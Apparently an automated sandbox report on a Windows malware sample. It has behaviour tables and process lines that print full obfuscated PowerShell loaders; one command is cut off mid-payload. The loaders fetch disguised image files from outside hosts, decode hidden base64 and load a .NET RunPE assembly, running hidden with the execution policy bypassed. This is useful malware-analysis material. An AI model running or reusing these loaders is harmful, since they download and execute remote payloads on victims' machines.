Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Legitimate hosting services abused for malware hosting/C2

Description	Indicator	Process	Target
N/A	pastebin.com	N/A	N/A
N/A	pastebin.com	N/A	N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2008 wrote to memory of 1900	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 1900	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 1900	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 1628	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 1628	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 1628	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 2060	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 2060	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2008 wrote to memory of 2060	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 2060 wrote to memory of 1348	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2060 wrote to memory of 1348	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2060 wrote to memory of 1348	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1628 wrote to memory of 2576	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1628 wrote to memory of 2576	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1628 wrote to memory of 2576	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1348 wrote to memory of 1776	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1348 wrote to memory of 1776	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1348 wrote to memory of 1776	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2576 wrote to memory of 2908	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2576 wrote to memory of 2908	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2576 wrote to memory of 2908	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 1576	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 1576	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 1576	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1576 wrote to memory of 1988	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1576 wrote to memory of 1988	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1576 wrote to memory of 1988	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\junexw.exe

"C:\Users\Admin\AppData\Local\Temp\junexw.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\crrlge.vbe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jnkknt.js"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jnznkv.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDkDgTreMwDgTrevDgTreDUDgTreNwDgTre4DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTredgBiDgTreHMDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDcDgTreNgDgTre3DgTreDEDgTreODgTreDgTre0DgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDkDgTreMwDgTrevDgTreDUDgTreNwDgTre4DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTredgBiDgTreHMDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDcDgTreNgDgTre3DgTreDEDgTreODgTreDgTre0DgTreDQDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBSDgTreHUDgTrebgBQDgTreEUDgTreLgBIDgTreG8DgTrebQBlDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBuDgTreHUDgTreagBuDgTreGUDgTrecwBhDgTreC8DgTrebQBvDgTreGMDgTreLgBpDgTreGMDgTreaQByDgTreGEDgTreawBpDgTreGMDgTreZQBrDgTreGUDgTrebDgTreBvDgTreGoDgTreZQBpDgTreHYDgTreLwDgTrevDgTreDoDgTrecwBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreEEDgTrecwBtDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5OC8wMTUvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE4Mjg0MjE2JywgJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5OC8wMTUvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE4Mjg0MjE2Jyk7ICRpbWFnZUJ5dGVzID0gRG93bmxvYWREYXRhRnJvbUxpbmtzICRsaW5rczsgaWYgKCRpbWFnZUJ5dGVzIC1uZSAkbnVsbCkgeyAkaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGltYWdlQnl0ZXMpOyAkc3RhcnRGbGFnID0gJzw8QkFTRTY0X1NUQVJUPj4nOyAkZW5kRmxhZyA9ICc8PEJBU0U2NF9FTkQ+Pic7ICRzdGFydEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRzdGFydEZsYWcpOyAkZW5kSW5kZXggPSAkaW1hZ2VUZXh0LkluZGV4T2YoJGVuZEZsYWcpOyBpZiAoJHN0YXJ0SW5kZXggLWdlIDAgLWFuZCAkZW5kSW5kZXggLWd0ICRzdGFydEluZGV4KSB7ICRzdGFydEluZGV4ICs9ICRzdGFydEZsYWcuTGVuZ3RoOyAkYmFzZTY0TGVuZ3RoID0gJGVuZEluZGV4IC0gJHN0YXJ0SW5kZXg7ICRiYXNlNjRDb21tYW5kID0gJGltYWdlVGV4dC5TdWJzdHJpbmcoJHN0YXJ0SW5kZXgsICRiYXNlNjRMZW5ndGgpOyAkY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYmFzZTY0Q29tbWFuZCk7ICRsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGNvbW1hbmRCeXRlcyk7ICR0eXBlID0gJGxvYWRlZEFzc2VtYmx5LkdldFR5cGUoJ1J1blBFLkhvbWUnKTs